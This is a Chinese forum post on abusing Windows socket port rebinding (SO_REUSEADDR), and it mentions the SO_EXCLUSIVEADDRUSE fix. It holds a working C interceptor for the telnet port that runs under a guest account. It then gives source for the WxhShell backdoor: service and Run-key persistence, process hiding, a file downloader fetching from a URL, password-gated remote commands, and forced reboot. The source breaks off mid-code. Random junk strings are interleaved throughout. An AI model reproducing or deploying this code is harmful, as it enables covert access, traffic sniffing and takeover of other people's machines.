社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11942阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: aaWJ* >rJ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Zszs1{t  
S\NL+V?7h  
  saddr.sin_family = AF_INET; eyw'7  
VY 1vXM3y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h7_)%U<J2  
K_-d(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *HM?YhR  
+UWU|:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J#3{S]* v_  
L$v^afP?  
  这意味着什么?意味着可以进行如下的攻击: 1D([@)^  
$<)Yyi>6E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ekf$dgoR  
}ublR&zlp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K7vw3UwGN  
K% KZO`gO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 10sK]XI  
y@ek=fT%4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \6j^k Y=  
"u' )g&   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0WxCSL$#I  
r@)A k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QBE@(2G}C  
? S=W&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Sj 3oV  
YwT-T,oD  
  #include _EYB 8e  
  #include FJM;X-UOY  
  #include &b C}3D  
  #include    &w~Xa( uu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   73NZ:h%=  
  int main() [!*xO?yCJ  
  { $.e)  
  WORD wVersionRequested; %I4zQiJ%  
  DWORD ret; GaNq2G  
  WSADATA wsaData; h%#_~IA:|  
  BOOL val; 4,eQW[;kk  
  SOCKADDR_IN saddr; CVKnTEs  
  SOCKADDR_IN scaddr; l`n5~Fs  
  int err; a, Kky ^B  
  SOCKET s; q7]>i!A  
  SOCKET sc; Bmr<O !  
  int caddsize; * crw^e  
  HANDLE mt; ')PVGV(D+  
  DWORD tid;   e 3@x*XI  
  wVersionRequested = MAKEWORD( 2, 2 ); /r$&]C:Fi  
  err = WSAStartup( wVersionRequested, &wsaData );  ~Nh&.a  
  if ( err != 0 ) { 7|D|4!i2Y  
  printf("error!WSAStartup failed!\n"); L-'k7?%(  
  return -1; qJs[i>P[W  
  } MR9/Y:Nm  
  saddr.sin_family = AF_INET; x6yW:tUG5  
   hFb fNB3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jqoPLbxT  
m3 IP7h'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N7.  @FK  
  saddr.sin_port = htons(23); X.J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /#q")4Mf  
  { /(6zsq'v|  
  printf("error!socket failed!\n"); }ymvC  
  return -1; Z$2L~j"=!  
  } w6,*9(;$Pk  
  val = TRUE; # 3.)H9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *%- ?54B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @&R1wr1>I5  
  { C!UEXj`l9  
  printf("error!setsockopt failed!\n"); _-a|VTM  
  return -1; ?eWJa  
  } ^e9aD9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yz)ESQ~va  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ee?;i<u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Zq?_dIX %  
KRk~w]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?V+wjw  
  { P>htQ  
  ret=GetLastError(); R7aXR\ R  
  printf("error!bind failed!\n"); STT2o=   
  return -1; XJFnih  
  } 1i,4".h?M  
  listen(s,2); wu^q`!ml  
  while(1) fA XE~  
  { [@.B4p  
  caddsize = sizeof(scaddr); k:0P+d  
  //接受连接请求 5EhE`k4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); BMjfqX  
  if(sc!=INVALID_SOCKET) i:k-"  
  { |!b9b(_j9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )fCMITq.|  
  if(mt==NULL) 4I ,o&TK  
  { pN k8! k  
  printf("Thread Creat Failed!\n"); a!u3 HS-i  
  break; ?'+8[OHiF^  
  } FW^.m?}|  
  } C={mi#G[/  
  CloseHandle(mt); SKx e3  
  } /+P5)q TKL  
  closesocket(s); N9*UMVU  
  WSACleanup(); cdp{W  
  return 0; wb+<a  
  }   qhxC 5f4Z  
  DWORD WINAPI ClientThread(LPVOID lpParam) '^1o/C  
  { %gTVW!q  
  SOCKET ss = (SOCKET)lpParam; RUc\u93n  
  SOCKET sc; *R!]47Y d  
  unsigned char buf[4096]; 00qZw?%K  
  SOCKADDR_IN saddr; bA+[{  
  long num; V85.DK!  
  DWORD val; *.dKR  
  DWORD ret; (,TH~("{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p,s&61]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <,-,?   
  saddr.sin_family = AF_INET;  7kM4Ei  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ylim/`u}6  
  saddr.sin_port = htons(23); k!c7a\">{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &fHc"-U}  
  { {c?ymkK  
  printf("error!socket failed!\n"); X8.y4{5  
  return -1; 0%;M VMH  
  } GWh|FEqUbf  
  val = 100; iE+6UK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yjv&4pIc1  
  { E@]sq A  
  ret = GetLastError(); (olLB  
  return -1; TPqvp|~2  
  } C$ hQN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nr<.YeJ  
  { M/)B" q  
  ret = GetLastError(); .r*#OUC  
  return -1; 500> CBL0O  
  } @:IL/o*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xx6S`R6:  
  { X=#It&m%s  
  printf("error!socket connect failed!\n"); 2@5A&b  
  closesocket(sc); ywe5tU  
  closesocket(ss); .SBc5KX  
  return -1; jRwa0Px(  
  } mOSCkp{<e  
  while(1)  mc~`  
  { 6.UKB<sV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1::LN(`<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K /8qB~J*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J2=*-O:  
  num = recv(ss,buf,4096,0); }2mI*"%)\u  
  if(num>0) GM77Z.Y  
  send(sc,buf,num,0); .CvFE~  
  else if(num==0) +|M{I= 8  
  break; 8LeK wb  
  num = recv(sc,buf,4096,0); u<C $'V  
  if(num>0) h/{8bC@bi  
  send(ss,buf,num,0); Bf+^O)Ns^  
  else if(num==0) ~Q_F~0y  
  break; ' me:Zd  
  } J[MVE4&  
  closesocket(ss); :=Nb=&lst  
  closesocket(sc); M(NH9EE  
  return 0 ; +yiU@K).0  
  } h\2}875  
2$  
0+p 5/5  
========================================================== q:Wq8  
Qv\bLR  
下边附上一个代码,,WXhSHELL =_uol8v  
;i}i5yv2  
========================================================== bbO+%-(X  
dUZ$wbV%h  
#include "stdafx.h" =}"R5  
H[Cj7{V  
#include <stdio.h> 3 ^pYC K%  
#include <string.h> =J`gGDhGY-  
#include <windows.h> s v6INe:  
#include <winsock2.h> qZ233pc  
#include <winsvc.h> *qbRP"#[$  
#include <urlmon.h> <TL])@da  
kO jEY  
#pragma comment (lib, "Ws2_32.lib") va@XbUC  
#pragma comment (lib, "urlmon.lib") ?${V{=)*X'  
3 L*+8a  
#define MAX_USER   100 // 最大客户端连接数 \N6<BS  
#define BUF_SOCK   200 // sock buffer 1x8(I&i  
#define KEY_BUFF   255 // 输入 buffer U>bP}[&S  
3V"dG1?  
#define REBOOT     0   // 重启 q$3HvZP  
#define SHUTDOWN   1   // 关机 zv`zsqDJ  
(2cGHYU3N<  
#define DEF_PORT   5000 // 监听端口 ktU9LW~  
+J%6bn)U  
#define REG_LEN     16   // 注册表键长度 EQ6l:[  
#define SVC_LEN     80   // NT服务名长度 icU"Vyu  
_ \_3s  
// 从dll定义API k:`a+LiZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8u/3?Kc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rtcJ=`)0`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uF+);ig  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *>G ^!e.u  
*m iONc  
// wxhshell配置信息 Pu1GCr(  
struct WSCFG { JN-D/s  
  int ws_port;         // 监听端口 N&x@_t""   
  char ws_passstr[REG_LEN]; // 口令 3e#x)H/dr  
  int ws_autoins;       // 安装标记, 1=yes 0=no tsB.oDMP  
  char ws_regname[REG_LEN]; // 注册表键名 $#F;xys  
  char ws_svcname[REG_LEN]; // 服务名 d$4WK)U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sYl&Q.\q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gv`%Z8u(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U`:lAG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *X%?3"WH8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L,f^mX0<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D`1I;Tb#  
Ml'bZLwq  
}; Fp wlV}:  
ZCj>MA  
// default Wxhshell configuration *oKgP8CF  
struct WSCFG wscfg={DEF_PORT, "r:H5) !  
    "xuhuanlingzhe", $:qI&)/  
    1, 5dbX%e_OP  
    "Wxhshell", 6-D%)Z(  
    "Wxhshell", D7 %^Ly  
            "WxhShell Service", muW`pm  
    "Wrsky Windows CmdShell Service", Bi'I18<  
    "Please Input Your Password: ", 8[vl3C  
  1, I:r($m  
  "http://www.wrsky.com/wxhshell.exe", Bidqf7v  
  "Wxhshell.exe" ^H f+du  
    }; @ARAX\F  
>l y&+3S  
// 消息定义模块 !a.3OpQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wa9'2a1?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ej-=y2j{g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Sn;/;^@(\  
char *msg_ws_ext="\n\rExit."; n%7A;l!{  
char *msg_ws_end="\n\rQuit."; }w;Q^EU  
char *msg_ws_boot="\n\rReboot..."; B)_!F`9  
char *msg_ws_poff="\n\rShutdown..."; b>G qNf!  
char *msg_ws_down="\n\rSave to "; F! |TW6)gv  
`HE>%=]b  
char *msg_ws_err="\n\rErr!"; jB}_Slh1j  
char *msg_ws_ok="\n\rOK!"; .%-6&%1  
Fcu Eeca  
char ExeFile[MAX_PATH]; WiPM <'  
int nUser = 0; }Z~pfm_S  
HANDLE handles[MAX_USER]; !~6'@UYo  
int OsIsNt; -U/I'RDLEz  
X; e`y:9  
SERVICE_STATUS       serviceStatus; CUAg{]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +OV%B .  
DW'0j$;  
// 函数声明 -MVNXAKnZ  
int Install(void); ; |E! |w  
int Uninstall(void); 'XC&BWJ  
int DownloadFile(char *sURL, SOCKET wsh); nPQZI6>  
int Boot(int flag); Sn{aHH  
void HideProc(void); n_e}>1_  
int GetOsVer(void); ,U} 5  
int Wxhshell(SOCKET wsl); ' lQ  
void TalkWithClient(void *cs); 3j[w -Lfp  
int CmdShell(SOCKET sock); HYa$EE2  
int StartFromService(void); hlABu)B'1  
int StartWxhshell(LPSTR lpCmdLine); _47j9m]f  
r"Hbr Qn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X^?|Sz<^E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gPA>*;?E;@  
v@}1WGY  
// 数据结构和表定义 >" PqQO  
SERVICE_TABLE_ENTRY DispatchTable[] = '@3a,pl  
{ -Z[R S{#+T  
{wscfg.ws_svcname, NTServiceMain}, Q"l"p:n%n  
{NULL, NULL} &r 5&6p  
}; f4A4  
$?CBX27AV  
// 自我安装 qr<-eJf  
int Install(void) hi4h0\L!}  
{ ;r0|_mnf  
  char svExeFile[MAX_PATH]; 0|K/=dh5+  
  HKEY key; \E ? iw.}  
  strcpy(svExeFile,ExeFile); C7XS6Nqu  
!#_h2a  
// 如果是win9x系统,修改注册表设为自启动 R-2FNl  
if(!OsIsNt) { ,YAPCj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hPEp0("  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <IHFD^3|j  
  RegCloseKey(key); i+qLc6|S=2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GDNh?R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R9|2&pfm(M  
  RegCloseKey(key); 3_R   
  return 0; 3<~2"@J  
    } B~ 'VDOG$Z  
  } yP1Y3Tga=  
} xqi*N13  
else { ]IbPWBX  
^R8U-V8:  
// 如果是NT以上系统,安装为系统服务 Npf7p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tehI!->l  
if (schSCManager!=0)  '!r+Tz  
{ `lV  
  SC_HANDLE schService = CreateService 9FIe W[  
  ( ~T p8>bmSR  
  schSCManager, f>"!-3  
  wscfg.ws_svcname, c],frhmyd  
  wscfg.ws_svcdisp, I!soV0V U]  
  SERVICE_ALL_ACCESS, b[&,%Sm+6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yjM@/b  
  SERVICE_AUTO_START, 08d_DCR  
  SERVICE_ERROR_NORMAL, "`$'tk[  
  svExeFile, +|}K5q\  
  NULL, #<PA- y  
  NULL, NP<F==,  
  NULL, HIWmh4o/.  
  NULL, zw%n!wc_\  
  NULL Aa\=7  
  ); $ <>EwW  
  if (schService!=0) 7S~9E2N  
  { skC|io-Zv  
  CloseServiceHandle(schService); 44fq1<.K  
  CloseServiceHandle(schSCManager); _:fO)gs|1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D-b2E6 o6  
  strcat(svExeFile,wscfg.ws_svcname); gw&#X~em  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r PRuSk-f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h^ecn-PC  
  RegCloseKey(key); ~QEXB*X-g'  
  return 0; l_j<aCY?|  
    } P9tQS"Rs  
  } /qz "I-a  
  CloseServiceHandle(schSCManager); |au qj2  
} E23 Yk?"  
} 4W//Oc@e  
XnI ;7J  
return 1; wMPw/a;  
} / Vm}+"BCS  
(Q+:N;  
// 自我卸载 BHJ'[{U*w  
int Uninstall(void) 7)(`  
{ pJ*#aH[ySP  
  HKEY key; Oih2UrF  
("J V:u.L+  
if(!OsIsNt) { 1J{z}yPHc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U)I `:J+A  
  RegDeleteValue(key,wscfg.ws_regname); w#G=Z_Tt  
  RegCloseKey(key); _AFt6\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %[\Ft  
  RegDeleteValue(key,wscfg.ws_regname); !qw=I(  
  RegCloseKey(key); ~q_+;W.  
  return 0; \gI:`>- x  
  } &6^W% r  
} :2UC{_  
} `d|bH; w  
else { &fd4IO/O  
kFIB lPV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ng&EGM  
if (schSCManager!=0) ?#EXG  
{ J"2ODB5"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I\uB"Z{9  
  if (schService!=0) ?"8A^ ^  
  { WO(&<(?  
  if(DeleteService(schService)!=0) { q[|`&6B  
  CloseServiceHandle(schService);  ZV q  
  CloseServiceHandle(schSCManager); EAd:`X,Y  
  return 0; =Z>V}`n  
  } tj^:SW.0  
  CloseServiceHandle(schService); S_ -QvG2  
  } };|PFWs  
  CloseServiceHandle(schSCManager); 5 *pN<S  
} %`\_l  
} mv%:[+!  
,pa&he  
return 1; |Q)w3\S$  
} t-4 R7`A<  
!E:Vn *k;  
// 从指定url下载文件 ,fG_'3wb  
int DownloadFile(char *sURL, SOCKET wsh) 4bFVyv  
{ R5;eR(24G  
  HRESULT hr; `Ig2f$}  
char seps[]= "/"; 5f*'wA  
char *token; }B '*8^S  
char *file; Qhr]eu;z  
char myURL[MAX_PATH]; F3 l^^ Mc  
char myFILE[MAX_PATH]; dbUZGn~  
|^k1hX2?W  
strcpy(myURL,sURL); nC!^,c  
  token=strtok(myURL,seps); \;:@=9`  
  while(token!=NULL) "`3 ^M vC  
  { pOI`,i}.  
    file=token; :6k DUFj}  
  token=strtok(NULL,seps); u r.T YKF  
  } y" 6~9j  
;1g-z]  
GetCurrentDirectory(MAX_PATH,myFILE); U:4Og8  
strcat(myFILE, "\\"); AUjTcu>i  
strcat(myFILE, file); YG1`%,OW`  
  send(wsh,myFILE,strlen(myFILE),0); aLk2#1$g  
send(wsh,"...",3,0); 1gy}E=noP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cYwC,\ uF  
  if(hr==S_OK) gL}Y5U+s  
return 0; Q.2nUT`  
else &|\}\+0Z  
return 1; Vv)E41  
[O+^eE6h  
} >\.[}th}  
jKV?!~/F  
// 系统电源模块 U6'haPlOk%  
int Boot(int flag) PM<LR?PLc  
{ sAN:C{  
  HANDLE hToken; ecZOX$'5  
  TOKEN_PRIVILEGES tkp; Ww tQ>'R"  
XhD fI &  
  if(OsIsNt) { M@X#[w:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |21hY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2T%f~yQ^  
    tkp.PrivilegeCount = 1; ^?]H$e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LP-Q'vb<=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _%Ld E z  
if(flag==REBOOT) { J9=0?^v-:B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JIKxY$GS  
  return 0; ZpctsCz]  
} J'c9577$  
else { 5"~^;O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5 ^z ,'C  
  return 0; $(L7/M  
} Hpg;?xAT  
  } b-zX3R;  
  else { / cen# pb  
if(flag==REBOOT) { 1`_)%Y[ZJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dsZ ( D:)  
  return 0; sK/"  
} w ]-iM  
else { DF|lUO]:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "EhO )lR  
  return 0; 9x{prCr  
} hsO.521g  
} d@f2Vxe7  
;OJ0}\*iP8  
return 1; T>%ny\?tHW  
} JsEEAM:w  
be%*0lr  
// win9x进程隐藏模块 VX[!Vh  
void HideProc(void) SfL`JNi)  
{ 6MNA.{Jdd  
l4reG:uYG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xi. KD  
  if ( hKernel != NULL ) V(uRKu x  
  { !D&MJThNy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5@%-=87S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PSR `8z n  
    FreeLibrary(hKernel); 1+}Ud.v3VW  
  } V>92/w.fe  
mM{v>Em2K#  
return; ~Fb?h%w  
} swL|Ff`$  
k\%v;3nBK  
// 获取操作系统版本 <uwCP4E  
int GetOsVer(void) O9)}:++T  
{ FN EmGz/4  
  OSVERSIONINFO winfo; %{abRBny  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'k Z1&_{  
  GetVersionEx(&winfo); r['C.S6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6|cl`}g_j  
  return 1; t3g! 5  
  else Wj=ex3K3u.  
  return 0; rXPx* /C  
} VVl-cU  
Y<fXuj|&  
// 客户端句柄模块 g"? D>}@=  
int Wxhshell(SOCKET wsl) |UO;St F  
{ lFY8^#@  
  SOCKET wsh; A'(F%0NF6  
  struct sockaddr_in client; iRHQRdij  
  DWORD myID; Vp{2Z9]}  
" <a|Q,!  
  while(nUser<MAX_USER) Yb{t!KL  
{ &ru0i@?)  
  int nSize=sizeof(client); Rj`Y X0?+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _u2  
  if(wsh==INVALID_SOCKET) return 1; S]/ +n>  
D07u?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *S_Iza #&x  
if(handles[nUser]==0) y<d#sv(s  
  closesocket(wsh); Asu"#sd  
else J3+8s [oJ>  
  nUser++; P< x  
  } <U pjAuG8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }h6z&:qA[?  
Y g?{x@  
  return 0; 0Jh:6F  
} *=@pdQkR  
s9Z2EjQV  
// 关闭 socket f"^tOgGH  
void CloseIt(SOCKET wsh) >;W(Jb7e  
{ mDf WR  
closesocket(wsh); ]t;5kj/  
nUser--; ]bweQw@i  
ExitThread(0); X-F HJ4  
} #?6RoFgMe  
? d\8Q't*  
// 客户端请求句柄 Ntiz-qW  
void TalkWithClient(void *cs) x)L@x Q  
{ IyP].g1"U  
X&Lt?e,&  
  SOCKET wsh=(SOCKET)cs; =T$- #bA)  
  char pwd[SVC_LEN]; ]#n4A|&H  
  char cmd[KEY_BUFF]; NLY5L7  
char chr[1]; w,9F riW  
int i,j; 3vU (4}@  
P$I\)Q H  
  while (nUser < MAX_USER) { =C)1NJx&~  
5K{h)* *5  
if(wscfg.ws_passstr) { OhEL9"\<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -m/4\D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qDAjW)w Jp  
  //ZeroMemory(pwd,KEY_BUFF); T<)z2Bi  
      i=0; M7 !" t  
  while(i<SVC_LEN) { q|J]  
BUyA]  
  // 设置超时 --kK<9J7  
  fd_set FdRead; sKO ;p  
  struct timeval TimeOut; )zo ;r!eP  
  FD_ZERO(&FdRead); '%N)(S`O7P  
  FD_SET(wsh,&FdRead); KL4/"$l]  
  TimeOut.tv_sec=8; _@2G]JD  
  TimeOut.tv_usec=0; e IA=?k.y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J]B5w{??b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N<99K!   
Z]BR Mx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gBu4`M  
  pwd=chr[0]; e.V){}{V  
  if(chr[0]==0xd || chr[0]==0xa) { |e&Kg~~C  
  pwd=0; aK'r=NU  
  break; ;zDc0qpw  
  } /$(D>KU  
  i++; 4>*`26  
    } aDuanGC/V  
B!@0(A  
  // 如果是非法用户,关闭 socket f6 nltZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cq~Ir*"  
} 6bba}P  
_8 J (;7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @HI5; z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }R$%MU5::  
plfB} p  
while(1) { I2'?~Lt  
QUf_fe!,|  
  ZeroMemory(cmd,KEY_BUFF); gp=0;#4 4  
o1\8>Ew  
      // 自动支持客户端 telnet标准   &bQ^J%\  
  j=0; 9"S3AEI  
  while(j<KEY_BUFF) { Xl;N= fc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UB}mI0/w  
  cmd[j]=chr[0]; u:ISwAp  
  if(chr[0]==0xa || chr[0]==0xd) { hM}2++V  
  cmd[j]=0; z/b*]"g,  
  break; 4<|u~n*JF  
  } { SV$fl;  
  j++; zdCt#=QV?R  
    } Za w+  
JK4  @  
  // 下载文件 CR<l"~X  
  if(strstr(cmd,"http://")) { 2dfA}i>k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h%%'{^>~  
  if(DownloadFile(cmd,wsh)) >nX'RE|F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EcU9Tm`h  
  else wal }[F#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sgj6tH2M  
  } }_ E  
  else { ]7;;uhn`  
A\`Uu&  
    switch(cmd[0]) { G1rgp>m  
  dkjL;1  
  // 帮助 Jp- hFD  
  case '?': { \Z8!iruN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \B)<<[ $  
    break; wr`eBPu  
  } v|6fqG+Q\  
  // 安装 y@I"Hk<T  
  case 'i': { pN[i%\vh  
    if(Install()) \XC1/LZQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c{~*\&  
    else *L=CJg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v&Kw 3!X#E  
    break; eC?N>wHH  
    } /1*\*<cs  
  // 卸载 _N6GV$Q  
  case 'r': { ~&kV  
    if(Uninstall()) TUG3#PSnm*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mtu8zm  
    else x)*[>d2yd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 !Yi.'+  
    break; Xma0k3;-  
    } ;I>`!|mT  
  // 显示 wxhshell 所在路径 +xMDm_TGLA  
  case 'p': { RaAq>B WPr  
    char svExeFile[MAX_PATH]; pS0T>r  
    strcpy(svExeFile,"\n\r"); b> | oU  
      strcat(svExeFile,ExeFile); d=[ .   
        send(wsh,svExeFile,strlen(svExeFile),0); @ o]F~x  
    break; c c:xT0Y  
    } ~1p f ?  
  // 重启 Z,*VRuA  
  case 'b': { ; ?!sU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OX91b<A  
    if(Boot(REBOOT)) nP.d5%E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3hkA`YSYt  
    else { ]^!#0(  
    closesocket(wsh); [30e>bSf`  
    ExitThread(0); I/'>Bn+  
    } . @.CQB=E  
    break; 0/c4%+ Ln  
    } !|D,cs  
  // 关机 F)C8LH  
  case 'd': { gN*8 zui  
